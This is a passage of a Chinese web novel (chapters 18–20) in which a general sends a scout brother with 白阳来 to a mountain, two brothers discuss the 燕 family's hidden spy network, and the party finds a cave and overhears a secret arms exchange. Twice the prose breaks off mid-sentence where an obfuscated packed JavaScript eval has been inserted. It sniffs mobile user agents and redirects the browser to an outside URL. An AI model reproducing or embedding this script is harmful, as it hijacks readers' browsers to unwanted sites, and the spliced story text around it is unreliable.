白阳来恭敬回话道:“杂部悍勇,也不过是相对于流寇而言,流寇生存艰难武器粗糙,在草原上争斗全凭出其不意和不择手段,相比之下杂部生存条件更好,武器也更精良,有马匹可供驱使,速度更快。但流寇无家无业死生不过一条命,无牵挂则行事不留余地,杂部则不然,他们有家小有牛羊,虽然跟庞大的部族不能比但部族内部的关系确是最紧密的。我军在这片草原上即使有所停留也不会长久,与其打击不如威慑。只要他们不来找我军的麻烦,末将以为没有必要在杂部身上关注过多。” 雍大将军满意地笑了,分得清主次抓得住关键,懂得抓大放小,永远专注自己的目的而不为外物所动,很好。 雍长龄指示道:“不要让任何人知道我军的意图,否则都给我杀干净。我们要在这片草原待上一阵子,直到我们想出对策,让大家都安全无虞的时候。一要对付泼岩麻,二要防着杂部觊觎,第三,就是你那个牌子背后的势力,中原或其他草原边上的州府在草原上借地行事的只怕不只一家,这也要小心。” 白阳来凤眼一眯,对外出探查瞬间充满无尽地期待:“是,末将明白!”他单膝跪地:“谢大将军成全!” 雍长龄起身亲手将他扶起来:“小羊,你要知道,别人都只能帮忙,只有自己才能成全自己。我知道你报仇心切,但越是这种时候越要耐着点儿性子。报仇是为了放下,不是为了同归于尽,你现在已经不能再像当年那样了,除了报仇,你还有很多其他的事情要做。拼尽全力去报仇可以,但你也要同样的拼尽全力保护好自己。我需要你像现在这样厉害,为我征战;燕将军也需要你像现在这样可靠,护卫陪伴他的儿子;燕长史就更是了,你明白我的意思吗?” 白阳来的双眼温热发红,含着泪重重点头。 雍长龄说:“我想知道来日方长是什么感觉。” 白阳来在燕昭鹏面前没有流的泪,撒在了雍大将军的帷幄里。 18. 第 18 章 雍长龄向斥候营营正叶真要一个人给白阳来的前锋营做向导,叶真向雍长龄推荐了自己的亲弟弟罗影。 叶真道:“启禀大将军,最早探查到溪流源头山地的人就是罗影,他对那里有所了解,可为前锋营向导。”不过有些话还是有必要说明白的:“大将军明鉴,我与罗影虽不同姓但的确是同父同母的亲兄弟。我本姓罗,单名一个真字,母亲早逝时弟弟还未取大名,父亲当时身体也不好,希望我们兄弟能形影不离,互相扶持,便给我改名为罗形,弟弟名罗影。后来我承蒙师父看中一力栽培,我兄弟才终于过上了好一些的日子,他老人家没有子女,我便改了姓算是为师父承继了香火,取了我最初的‘真’字为名,便是现在的叶真。” 原来如此,雍大将军虽然知道他们是兄弟但这段渊源叶真若是不说谁能知晓。 叶真说:“罗影从小习武,我在师父那里学了什么就回去跟他玩什么,我的一身本事他也都会。若说属下没有私心那也是假的,但罗影单纯赤诚,必能好好辅佐白将军,还请大将军明鉴。” 雍长龄对叶真的本领和人品都是放心的,他能这样力荐雍长龄愿意一试。 雍大将军很是爽快道:“你既如此说那便让罗影去试试。只不过白阳来先前擅离职守我本欲按营规惩处,只是如今征战在外多有不便才改成了这个。” 润和大营营规第若干条:擅离职守者罚养猪七七四十九日,期间三十只猪需增重至少一百斤,否则加罚一轮。 叶真对营规心存敬畏,不做任何评价。 雍长龄略有失望地说:“原本是要罚他,让你这样一推荐倒好似奖励了他一个人才。” 叶真忙拱手道:“罗影青涩,若要成才还要仰赖大将军教导。恕属下失礼,要在大将军面前说句僭越的话。属下教养兄弟多年,总是免不了为他担心,但又不得不承认即使罗影如今还有许多不足之处,但他每一次执行任务都比属下要幸运,这才敢将他举荐到您面前。大将军爱才惜才,对白将军可不也是如此,说罚也不过是想让白将军长记性守规矩,其实白将军的才干您又哪有不放心的呢。” 雍长龄哈哈大笑,而后真诚地说:“叶将军说的是,说的是啊。就冲你这番用心良苦,我替白阳来谢过叶将军了。” 遥想当年,雍长龄原本是想请叶真的师父为自己创建斥候营的,没想到他在最后一次执行暗卫任务的时候死在了外头,叶真千里追寻也只带回了他随身的几样东西。后来叶真在暗卫遴选中被人黜落,原本他接受的是亲卫营的训练,如果不能被选入暗卫也可以在亲卫中任职,但师父的死让他在竞争激烈的亲卫序列中失了势,直接被黜落到了外围的军营。雍大将军觉得他年纪轻轻不但有情有义而且能在失势之后洁身自好不卑不亢,便把他要了过来,将创建斥候营的任务交给了他。叶真感念雍大将军的知遇之恩,夙兴夜寐为润和大营建起了如今的消息网络“幽明同元”。 叶真这样一个无孔不入的情报奇才,察查敏锐远亦是远胜常人。在调查白阳来的时候叶真注意到了雍大将军对他的另眼相看,便想要将自己的弟弟趁早放在他身边,等天长日久慢慢将彼此的信任培养起来之后,弟弟的未来就算是有着落了。叶真很相信自己的感觉,白阳来一方面与燕家大郎君、也是百年将门这一代唯一的芝兰玉树同宿交好,一方面深得雍大将军信任爱重,未来不可限量,他人又正直重情谊,能跟着这样的上官,何愁没有好前程。 雍长龄说叶真用心良苦便在于此,他不但在自己面前坦言与罗影的关系,还内举不避亲地想要借这个机会将罗影送到白阳来身边。用他对罗影与自己对白阳来做比,这是告诉自己他看出了自己对白阳来非同一般,而他想让弟弟追随白阳来,一是表示对白阳来的肯定,二来也是在向自己表忠心。雍长龄目送他退出中军帐,在心里点了点头,希望罗影与白阳来也能像自己当年与叶真一样,投合融洽。 叶真回帐之后对罗影说:“大将军已经同意暂时调你过去给白将军当向导了。先不要急着高兴,我知道白将军武艺高强还很照顾手下的兵将,但你也要自己注意安全,切记谨慎行事。尤其是进山之后,不要图快,要稳重,知道吗?” 罗影开心地说:“是,知道了我的好兄长。我有些东西要带给白将军,现在去找他可以吗?” 叶真故意沉下脸凶他:“方才说过要稳重,这就急了?” 罗影一点儿不怕地反驳道:“我一向很稳重啊,这怎么叫急了呢。大军不是赶着要迁营吗?我们早些准备好也好早些出发把那边的情况弄清楚啊。” 叶真面无表情地说:“我晚上请了白将军和燕长史来吃饭,你有什么话晚上说不迟。我让你整理杂部的情报你理得怎么样了?” 罗影一听他请了白阳来一同吃晚饭登时对叶真露出了崇拜的神色,真不愧是他亲兄长啊!真是太令他喜出望外了! 不过,说到杂部的情况,罗影瞬间喜悦尽去,恢复成面无表情的样子。他们两个亲兄弟其实长得并不相像,但此时的神情真可谓一模一样。面无表情兄对面无表情弟整理好的杂部情报表示非常失望,目前除了知道在我军即将探查的那座山附近没有发现杂部的痕迹之外,尚无其他消息。 黄昏时分,白阳来回到帐中接燕昭鹏一同去叶真处吃饭。 燕昭鹏正一脸不高兴地喝着药,关阙带着无奈的笑站在一旁看着他喝药。 白阳来的眉头不自觉便皱了起来:“这是怎么了?我出去的时候不是还好好的?” 关阙对着白阳来拱了拱手算是行礼了,燕庭阔在一旁回道:“您走后徐将军派人送来了出营要穿的衣裳,郎君试穿了一下,那衣裳的料子有些粗,郎君起疹子了。” 关阙好心地安慰道:“不打紧不打紧,郎君已经乖乖喝药了,晚上再泡个药浴,明日担保没事。” 白阳来仍然关切地问:“是衣裳不干净吗?大队人马不急着出发,这两日我先跟斥候过去看看,有需要再多带些人过去打扫。要不赶着这两日让针线上人给你做两身合适的衣服?” 关阙提醒道:“何为‘合适’?用郎君惯用的料子按着那些样式做吗?那做出来也只是样式相同而已,放在一起一眼就能看出来。” 燕昭鹏刚喝完药本来嘴里苦心里就不高兴,这一听,更不高兴了,双眼圆瞪看着关阙,嘴里苦暂时不方便说话,气得脸都红了。 白阳来无奈地看了一眼多少有些幸灾乐祸的关阙,对燕昭鹏说:“你还穿自己的里衣,外头衣裳穿送来的就是。让关大夫用药水将那衣裳也泡一泡洗干净了你再穿,应该可以的。” 也只能如此了,关阙叹了口气说:“郎君将军放心,属下一定把衣服泡干净。” 燕昭鹏不过试穿了件衣服就被弄得满身红疹,委屈得不行,生怕自己就不能去了,此时事情一解决憋了半天的他终于有了心情还击看了半天热闹的关阙了,立刻找茬道:“你叹什么气?我好了你很失望?” 关阙连忙躬身行礼道:“不敢不敢,郎君息怒。只是我多年来就伺候您一人,习惯了与您斗智斗勇、严防死守您的各种不配合,此次来到这军营之中、万幸您的身体也前所未有地康健,我闲暇颇多故而得以诊治营中生病受伤的将士,这才知道,世间竟也有听话的病患。方才一时感慨,故而叹气。” 燕昭鹏像过去很多次那样,看着关阙冷笑一声对燕庭阔说:“从箱子里拿根金如意,把他给我赶出去!” 燕昭鹏素日所用的金银都被打成了各种漂亮的形状,并且以不同的形状区分重量,花用起来也很方便。比如,一根金如意就是十两。 白阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099130|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来查看燕昭鹏起疹子的地方,脖子和手臂都有,他皮肤细润因此看起来格外严重,白阳来禁不住替他难受。看着白阳来担心得龇牙咧嘴的样子燕昭鹏倒是觉得好像也没那么难以忍受了。 白阳来把袖子放下,说:“身上也都是吗?” 燕昭鹏拉开衣服给他看,腰上的一片最严重:“还好,都上过药了,现在觉得凉凉的,已经不怎么痒了。” 燕昭鹏看他担心地又开始皱眉,笑着说:“干什么呢,脸都皱成一团了。也怪我心急,没有仔细看过就穿,那些衣服料子都太粗,不要说我了,咱们家里擦家具的布都比那细软些。” 白阳来叹了一口气在他身边坐下,燕昭鹏想到了什么,赶忙说:“哎,这可不是我娇气啊,咱们营中的将士穿的衣服我也是穿过的,并没有这样,顶多就是不习惯。这次不是我的问题,是衣服的问题!” 燕昭鹏娇生惯养是真的,但那些衣服有问题也是真的,白阳来给他把等会儿出门的衣裳递过去,柔声道:“你说的没错,那些衣服确实有问题,不光是料子粗,染料用的也不好,不光是你,听说那边营里的将士有些也会起红疹。” 燕昭鹏回忆了一下那衣服的样式:“林州的吗?” 白阳来点头:“对,林州营的将士低阶的只有粮没有饷,高阶的将军有粮有饷但饷银很少。他们平日里吃穿都差,全靠苛刻的军规约束,可是管的越严下面反而越乱。” 燕昭鹏家里世代统兵养兵深知其中道理,此时既对林州的管理感到不屑,又为林州的将士感到痛心。他很生气地说:“打仗可是拿命拼的,衣食温饱都不能保证将士们凭什么为他卖命!”说罢他也忍不住叹气:“还好咱们润和有钱,穿的暖吃的更好,厨下做的汤面连我都能吃一整碗。”虽然吃完之后撑得难受了好几天。 白阳来想起他吃撑了躺在床上哀嚎的样子,不禁笑了起来:“那好像是你第一次吃撑。” 燕昭鹏也想起了当时的情景,跟他一起笑着说:“是啊,平生第一次,我体会到了“吃撑了”是什么感觉。虽然肚子难受,但是,你知道吗,那种肚子里都是食物、暖融融的感觉,挺好挺踏实的。” 白阳来笑看着他站起来说:“那正好,今晚的宴席就是叶真叶将军放了银子让军中的大厨整置的,你尝尝看喜不喜欢,若是喜欢,咱们以后也可以去置办。” 燕昭鹏穿好靴子站起身来说:“我让家里的厨子做了点心,咱们带着去做客。” 伺候的人两个上前替燕昭鹏整理衣裳,两个将准备好的食盒打开让白阳来看盒里的点心。那点心大小一致形状各异整齐地摆在盘中,既漂亮又体面,很是拿得出手。燕昭鹏从小不能吃这不能吃那,偏又什么都好奇,因此但凡是燕家做过的点心,白阳来每一种都尝过。他尝完之后再把味道告诉燕昭鹏,就这样两个人可以玩一个下午。白阳来天生记性好,此时他看着盒中的点心都能回忆起它们的味道和原本的颜色——受条件所限,现在这些点心只有三种颜色,若是在燕府,大厨能将每一种都做成不同的颜色。 燕昭鹏见他一直看那点心,不由地问:“你也想吃了吗?让下面给你做点儿回来吃?” 白阳来摇头:“不,我是在想这个颜色该不会用的是胡萝卜吧?那味道该多奇怪啊。” 燕昭鹏奇道:“你不是挺喜欢吃胡萝卜的吗?” 白阳来为自己辩解道:“我是喜欢胡萝卜做的菜,但它现在被做成点心了,这能好吃吗?” 他难得表现出这样的童稚之态,燕昭鹏觉得可爱,哈哈笑着拉住他的手腕说:“好不好吃的若不亲自尝尝如何知道?”他一边拉着人往外走,一边吩咐下人道:“让厨子做了来给白将军亲自尝尝,看胡萝卜做的点心好不好吃。” 下人躬身应是,两人出帐前去赴宴。 19. 第 19 章 饭毕,罗家两兄弟与白、燕二人告别,站在帐前目送他们离开。夜晚的风难得地轻柔,虽然微冷但并不似前几日猛烈,两兄弟便在外面站了一会儿。 罗影看着二人的背影说:“这燕郎君交谈起来真让人舒服。” 叶真赞同道:“是啊,一派大家风范却又不失真诚谦逊,谁能不如沐春风。” 罗影看向兄长:“但我感觉你有点儿忌惮他。” 叶真欣慰于弟弟的敏锐,这对斥候来说是宝贵的天赋,他欣然承认道:“你的感觉不错。不过与其说我忌惮的是他,不如说我忌惮的是这一辈以他为首的燕家。我们之前是查了白泽很多,但不知道该说是他这个人太简单还是我们能力不济,其实这个‘很多’也没查到多少,尤其是他在燕家时的情况,我们几乎不知道。” 说到这个,罗影道:“你不是从一开始就告诉我不要去碰燕家吗?都不碰,怎么能知道。” 叶真点点头:“所以这一次我才想亲眼见一见他们。我身份特殊,与营中的任何一位将军走得太近,都有让上官疑心忌讳的可能,而对斥候来说主将的信任是最重要的。这一次算是先在大将军面前过过明路的,又是为了你,见一面也无妨。大将军知情,也能体谅我的一片心意。”不过,他拍拍罗影:“信任是要用忠诚换的,大将军既然同意让你跟着白将军那以后你就是白将军的人了。咱们从今往后便是各有其主了,就不能像以前一样总在一处、时常见面了,你要好好照顾好自己,任务要好好完成,但身体性命也要给我顾好了,知道吗?” 罗影露出只在兄长面前才会有的孩子气说:“当然知道了,你也一样,要注意身体,珍惜小命。咱们两兄弟可都是身负重任的,我要是没了,罗家就绝后了;你要是没了,叶家就绝后了。到时候两家的祖宗不得一起骂咱俩!” 叶真听着他这些荒谬的话竟然觉得好笑,他确实是不避讳生与死的话,但是,罗影这说得也太欠揍了,他一个掌风削过去:“不用劳烦两家祖宗,我这就收拾了你!” 罗影一猫身子就往帐里躲,叶真对他的身法了如指掌,一边追一边踹弟弟,毫不留情,让罗影有种被踢一顿铭记三年的感觉。几次都躲不过,罗影只好求饶道:“好了好了,唉哟,哎你!我,嗷!差不多得了,你还没说为什么燕家碰不得呢!嗷嗷!” 叶真在一个箱子前停下来,找了一罐伤药扔给他,说:“我组建斥候营之初撒了三层网,第一层在市井之中,第二层在各军各营,第三层就是按照大将军给的名单撒在了帝都各个高门大户之中。” 彼时斥候营的探子刚刚训练完毕,雍长龄和叶真都是十分谨慎之人,所以这三层网是一步一步完成的。市井之中人多眼杂便于隐匿,警惕心也都不高,万一出了问题只要撤得快隐藏好身份出不了大事,所以是第一层网,也是第一步。这一步如果没问题,就说明他们的训练是基本成功的,人才可用;若是出了问题正好调整改良,这样再次训练出来的人就可以完成第二步,也就是第二层网络的布置。第二层的人散布在各军各营之中,相对石井更有针对性,但因为斥候们本身也是出自军营,训练打仗到哪儿都差不多,也顺利地完成了。再一次总结经验教训之后留下来的精英便被叶真派出去往帝都的高门大户中隐匿起来,留待日后发挥作用,这是第三层。 叶真看着掀衣服扒裤子查看自己“伤势”的罗影说:“这一步我们的损失最大,有被发现了及时逃回来的,有被追杀的,有被打得半死扔出来的,也有被杀的。” 罗影停下动作,叶真平静地看着他说:“只有燕家,人派进去就没了音讯,不见人不见尸没有丝毫消息。” 罗影没想到,喃喃地说:“那再派……” 叶真看着他的眼睛点点头:“再派,就再消失。有些人家会严防死守很难进得去人,但是燕家,你会觉得他家大业大很容易钻个空子就把人送进去了。”叶真的笑容苦涩中带着无奈:“但是进去了就再无音讯了。派多少次都一样,不知死活,没有踪迹。” 罗影感觉自己汗毛都竖起来了:“这太可怕了。” 叶真看他知道怕了,也就放心了:“所以我一开始就告诉你不要碰燕家。只要不试图窥探他的秘密,燕家就只是一个古老但和善的高门大户而已,可你如果因此而忘记他是如今帝都仅存的百年世家,那么那些我一手训练出来的、一去不返的斥候就是前车之鉴。” 罗影突然灵光一闪:“莫非燕家也有自己的情报网?” 叶真长出一口气说:“我想他们一定有,但这些年下来也只是猜测,无从验证。有时候我们的人行动时也会与同行碰上,时间久了多少能猜出身份,但燕家,至少在我所知的范围里从来没有露过踪迹。” 罗影叹道:“这就是百年世家吗?” 叶真笑道:“其实仔细想想也不奇怪,燕家也是将门,我们都有自己的消息网络,燕家有情报网也很正常。” 罗影语带不甘:“他们比我们厉害。” 叶真飒然一笑:“我们要是有一百年的时间那谁更厉害可就不一定了!” 罗影被他的意气感染,精神也提振了起来,大声道:“兄长说的是。” 叶真今夜见了白、燕,放心托付了弟弟,还把弟弟打了一顿又哄了回来,颇觉圆满,此时站起身道:“早点儿睡吧你小子,兄长踢两脚还上什么药,装好明日出门随身带着。” 罗影“哎”了一声答应着把药塞进自己明日要穿的衣服里。 天光乍现将明未明之时,白阳来与罗影便带着几个精干手下出发了。他们在脸上围了挡风的布巾,这样一边赶路一边说话也不至于喝风吃土,好受多了。 罗影一大早起来精神也很好,颇有些兴奋地对白阳来说:“我还以为怎么也要早训的时候才出发,现在就走,白将军你真是太明智了。” 白阳来与他打马并行说:“早训时声音大,燕长史有可能就醒了,到时候再想走得这么利索就难了。” 罗影对此深有同感说:“可不是嘛,总要嘱咐几句,我那儿也是。” 虽然如此,但每次都要听完每一句嘱咐才出发也是自己乐意的,否则就不听又能怎样呢。 出发时时间紧,有些话没有细说,现在正好商量交代一下,白阳来说:“我还没有去过那边,这次咱们就先去走一趟熟悉一下路线,如果没有其他情况明日就带人来把山上的情况详细地摸一摸。” 罗影自然无有不从,说:“好。那里我去过,我带路白将军放心。” 白阳来说:“大将军和叶将军都信任罗校尉也信任白某,白某对罗校尉自然信得过。” 罗影很开心说:“以后末将就要在白将军麾下效力了,还请白将军多多指教。”这话其实昨晚一起吃饭时就该说了,但罗影当着兄长的面硬是没说出口,今日两人一同赶路倒是让他觉得自在了些,话也就自然地说出来了。 白阳来笑着说:“你我既为同袍,那今后就要性命相托了,罗校尉不必客气。” 寒暄完毕,白阳来开始问起那处地方的情况:“上山的路多吗?” 罗影一听他开始说正事,立马严肃起来:“白将军您问着了,这我还真看过。”罗影说:“那片山挺大的,基本都在泼岩麻部的范围内,与杂部的交界处其实只有一点尾巴。我在山下绕过一圈,合适上山的地方有两处,其中一处离咱们现在一路过去的方向很近,就是不好走,马骑不上去。若是绕到杂部那边那个方向,那里有一条路看着像是可以骑马上山。” 白阳来听他这么说不禁问:“可以骑马上山?是已经有路了吗?那条路常有人走?” 罗影说:“是,有路,不过看样子应该是很久没人走过了,但是比咱们这个方向的那条要好走,当时天已经快黑了,我就没上去。” 白阳来点点头说:“咱们今天早,马也快,应该有时间好好看一看。” 他们两人身后跟着白阳来的几个亲信校尉,分别是:隋得远、唐竟民、宋宁生和罗高川。 隋唐宋三人都是孤儿,从小在润和大营长大,罗高川从小习武,立志从军,他父母便将他送到了营中。这四人功夫都很好,在白阳来出现之前自持本事在营中很是不将其他同袍放在眼中。白阳来入营时正值润和大营一年一度的擂台大比武期间,他原本没想出风头,奈何美貌难自弃,只是站在旁边观赛,就被擂台上刚打赢的人调戏了几句,白阳来听过太多人品评他的样貌,不论说好还是说不好,他从不理会;但罗高川不行,路见不平他就要挺身而出主持公道,结果上了擂台被人打了下来。擂台上那个嘴贱之人正是如今先锋营的将军百十兆,他虽然有些市井气但功夫是真的高,自从入营后便一直都是大比武的总擂主,只有萧懋能与之一敌。 罗高川虽然人被打了下来,但心中并不服气,他肿着左边的眼睛对看起来白嫩可爱的白阳来说:“小兄弟你别怕,等我回去再好好练练,以后一定能揍他!” 刚从燕家出来的白阳来被燕家上下当做祥瑞玉娃娃养了这些年,通身的气质加上他无双的容貌看起来矜贵美丽的近乎脆弱,所以显得小,其实论年岁他与罗高川差不多。俊雅的容颜总让外人对他有诸多猜想,白玉无暇的面庞上,凤目敛神,只要他将长睫垂下,高挺顺直的鼻梁,微微圆钝的鼻头,配上深长适中的人中和唇峰清晰饱满的微红双唇,所有看到这张脸的人都会不由自主地在心中为他配上最美的想象。 但那只是别人心中的想象,又怎么会是真实的自己呢。 但只要他保持沉默,在别人眼中那被想象出来的一切就好似是真实的。 但真实的他是什么样的呢? 这甚至是比复仇更令白阳来觉得困扰的问题,他不知道自己究竟是一个怎样的人。他所经历的曾经太残酷,又太幸运。他生来只有一只小羊,那就是他最初记忆的全部,后来他失去了一切,拼了一场,死了一回,醒来之后的他莫名地拥有了一切,那是他连想象都想象不到的美好而丰沛的一切,不论是情感上还是物质上。 每当想到这些,白阳来都觉得迷茫,觉得不知所措。他自来到这个世界上所体验的温暖与失去,得到与幸福,都是那么被动。被剥夺的时候他虽以死相拼却无济于事,小羊还是没了;被给予的时候他什么都没有做什么都不用付出,燕家捧给他的富贵世间难见。 白阳来其实不喜欢被动,不喜欢被安排,但因为长久以来的现实经历他又是十分习惯接受的,接受别人的给予、照顾、安排和想象。 就像他每次出门别人指指点点说这说那的时候,只要他垂下长睫,甚至不需要其他的动作或表情,自有人出来为他阻止那些言语。 是的,他不喜欢,但他接受。白阳来常常想,这样的默许和利用是不是也算一种卑劣呢。 白阳来拍了拍罗高川的肩对他说:“谢谢你,不过不用等以后了,择日不如撞日。” 罗高川没明白:“什么‘择日不如撞日’?我是说……哎,唉你干嘛去?”罗高川看着白阳来往擂台走,一时都没反应过来,等发现他是要上去挑战百十兆,连忙喊道:“不要去啊,他下手可狠!” 罗高川从那天开始对白阳来崇拜得五体投地,白阳来不仅打赢了百十兆,还打肿了他左边的眼睛! 这!实在是太严谨,太讲究,太厉害了!真是我辈楷模! 从那天起,隋唐宋罗四人尽皆拜服在白阳来身下,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099131|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始了对他言听计从的岁月。 从那次擂台比武之后,润和大营再也没有桀骜不驯的将士,因为最厉害的那个谦逊低调,谁若是想在有他的营中炫耀武力那只会显得自己非常愚蠢。 路虽远,行则将至。一行人快马加鞭来到山边的时候正是下午,离黄昏还有一段时间。他们身手都好,来到罗影说的不好走的小路处之后决定先从这里上山看一看再说。几人将马在山下的树林和山石之间藏好,由罗影带队上山。 原本是应该先看山下的情况的,但是到达的时间比白阳来预计的要晚,若是天色暗下来那就不好上山了,所以他们商量了一下还是先上来看一看,等天色暗了就下去,在山下行动总比在山上安全些。 罗影一边带路一边说:“这边的山里总会有些石窟石洞什么的,到时候咱们的辎重都可以存进去,那条溪水不是从这边流下去的,洞里应该也不会潮湿。” 白阳来跟在他后面,隋唐宋罗走在白阳来周围,几人一边走一边四处查看。 隋得远说:“我看这里的草木也不像水多的地方。” 唐竟民说:“这一路上石头比树都多。” 宋宁生说:“石洞石窟在哪儿?我感觉这座山就是一整块大石头。” 罗高川走在最后,他想从侧面抄到前头就往几人旁边走了几步准备绕一下,不想脚下一滑:“啊!诶诶诶诶!” 白阳来一回头,从唐竟民和宋宁生两人中间看到罗高川在路南边画了一个大大的圆弧竟然翻滚着摔到了那边的一个小坡上。宋宁生离罗高川摔倒的位置最近,他伸手拉了一把没拉住,看着滑倒后的罗高川先是摔了下去,然后又……滚了上去? 隋得远站在白阳来的另一边,距离更远一些,此时伸着脖子说:“嗯?是我眼花了吗,他怎么摔到上面去了。” 白阳来立即喊他:“罗高川!你怎么样?” 地上堆积着厚厚的落叶层,踩上去的感觉是软的又被压得很紧实,几人试探着走了几步发现没有危险,便顺着罗高川摔下去的路线奔了过去。 罗高川被摔懵了,但没有受伤,他听到了白阳来的喊声,但头晕,回答不了。等他缓过来几人已经跑至近前,罗高川高声道:“我没事儿,没有受伤。” 白阳来把他拉起来,几人拍打着查看了他的全身,确实没有受伤。 隋得远说:“还行,这皮糙肉厚的也挺好,耐摔。” 罗影跟他们没这么熟,他刚才在最前面带路,等回头去看罗高川已经摔远了,此时关切地问:“你真没事儿吗?没有外伤那里面呢?感觉怎么样?” 罗高川据实以告:“我头有点儿晕。” 唐竟民说:“噢那没事儿,你的头反正也没什么用。” 罗高川抬脚就踹他:“你的头才没用!” 宋宁生说:“你们觉不觉得,这儿怎么有点儿冷?” 隋得远立马靠近白阳来,呵斥他说:“你别乱说啊,这山里头上一次来人都不知道是什么时候,没人的地方有什么那可难说,你心里有点儿数啊。我害怕。” 罗高川感受了一下:“你要这么说我也觉得,有凉风。” 唐竟民也向白阳来身边靠了靠,四处张望着呵斥罗高川:“我还有热水呢!你俩说话注意点儿,咱们这初来乍到的可不兴胡言乱语。” 罗影向着一个方向举起手,停了一下说:“确实有风,凉的。” 白阳来看了看他手举的方向,反向望去,石头山上到处都是大大小小的石头,看不出什么特别之处。他走了过去,确实感觉到了一股风,一股凉风。有风就意味着有缝,有缝隙就可能有空间。几人跟在他身后警惕着四周,罗高川主要警惕脚下。越走感觉越明显,前面的石头与山体中间竟是有缝隙的,方才他们是角度不对,视线被遮挡才没有发现。白阳来试了试,可以侧着身挤过去,前面好像有个小洞,可以钻进山体里面。白阳来挤过去才发现不是小洞,是这石头缺了一块。他侧着身,后背贴着石壁转头看身后几人,大家学着他的样子也都挤进来了。 从缺了一块的地方钻进山中,六人将身上带着的火折子吹亮,爬了几步,再出去,豁然开朗。 六人看看这个有一间军帐大小的石洞,以及石洞中的另外三个洞口,然后五人一起看向罗影。 罗影忙说:“来这儿的路我熟,但我没上过山,我只在山下转了转,发现了两条路而已,这个山洞我不知道。” 白阳来好像面对任何突发的情况都不会有忐忑害怕之类的情绪,他淡定地说:“既然来了,我们挨个探一探。检查装备。” 几人检查身上带的东西,短刀、匕首、火折子、蜡烛、水囊等等。 隋得远报告:“将军,我们没带吃食。” 白阳来从腰间解下一包点心递给他:“我带的不多,你先拿着。” 他站在左手边第一个洞口处说:“从这个开始,走。” 六人进洞。 他们约定如果有岔路那就每一次都选最左边的走,走不通就退回来换另一条。没想到这个洞竟然没有岔路,他们一直走,走到了山的另一边。六人一路警惕,但这座山似乎并无其他活物,有光出现在前面的洞口,几人将手中的火折子举高,道路尽头的洞口位于石壁的斜上方,只要爬出去他们就可以知道现在自己是在哪里了。 罗高川自告奋勇要第一个爬,隋得远和唐竟民不甘不愿地给他垫脚。罗高川爬进洞口,隋唐二人站直身体擦着汗还没说话,罗高川突然从洞口跳了回来,并且一把捂住了隋得远的嘴。几人瞬间停下所有动作警惕聆听,然后无声贴住洞口下的石壁站成了一排。 上方洞外传来铜铁摩擦的声响。 20. 第 20 章 六人屏息凝神贴着墙站着,洞口处传来的声音渐大渐杂,隋得远趁着外头的声音悄声问罗高川:“什么情况?” 罗高川小声答:“我刚上去还没爬出洞就听见外头有声音,吓了一跳。”就回来了。 唐竟民用气声问:“你没看见人?” 罗高川摇头。 罗影耳朵贴着石壁听了半晌,说:“外头应该有不少人。” 白阳来跟他站在一边,头顶就是出去的洞口,说:“看来这里确实是个好地方。” 罗高川也学罗影耳朵贴石壁努力听着,说:“是啊,外头好多脚步声,这是在搬兵器吗?就是这个声音吓得我一激灵。” 宋宁生也在一旁听了半天,但是他觉得有点奇怪:“这么多人走来走去搬东西,一声都不出啊。” 他这么一说,大家都静了下来听外面的动静,一会儿后隋得远说:“是啊,没有一个人说话。” 唐竟民严谨道:“不是没有人说话,是就没有人发出一点儿人声,只有脚步。” 罗高川赞叹说:“那他们比我们还要训练有素啊,我们搬东西可没有这么安静过。” 罗影觉得这一点确实非常奇怪,他尝试解释道:“外面会不会是草原上的奴隶,干活的时候主人不许他们说话?” 隋/唐/宋/罗:“有可能。” 白阳来:“你们数过吗,他们搬了这么久,该有多少东西。听着摩擦声响似乎是武器,草原上,这么多武器。” 几人心神一禀,顿时严肃起来。 外头渐渐安静了下来,脚步声退去,终于有了说话声:“都搬完了,来交接吧。”一人粗声粗气地喊道。 他们贴在洞口下方其实细微的声音是听不见的,只觉得洞外的响声停了一会儿,有一个阴柔的声音慢条斯理地说:“黎将军,这么不耐烦呢,这东西又不是让你搬,你们的人搬我们的东西的时候,可没见你是这个样子啊。” 外头那个李将军有一阵没出声,后来才说:“大管事容谅,这不是天黑了吗,我想着早点儿交接完了您早点儿回去,也安全不是,这草原上,那雍长龄带着润和那帮人正到处找泼岩麻决战呢,咱这儿虽然离得远,不是也得小心嘛。” 这话不说还好,一说不得了,那大管事的声音瞬间高了起来也急了许多:“你们这群莽夫也知道如今这儿正打着仗呢啊!我还以为你们不知道呢,急三火四的非要现在交易,早跟你们说了等一等、等一等,是谁非要来的?这要是听我们东家的话,我如今正在晓春楼上听曲儿呢,谁来这儿跟你冒这个生死险?!” 他说完就静了下来,黎将军没有开口,但显然是被气得不轻,因为停了片刻后这个阴柔的声音伴着一声轻笑,又响了起来:“怎么?这是要动手吗?哈哈哈哈,怎么忍住了?你动手啊,黎将军威武,一手就能掐死了我。”阴滑婉转,恨不得一句话拐十八个调儿,听得隋唐宋罗四人都默默握紧了拳头,就连罗高川都将头离开了石壁。 只有白阳来一如往常,丝毫不为所动,他在想:顺着小春楼这条线索应该有可能查到大管事的身份。 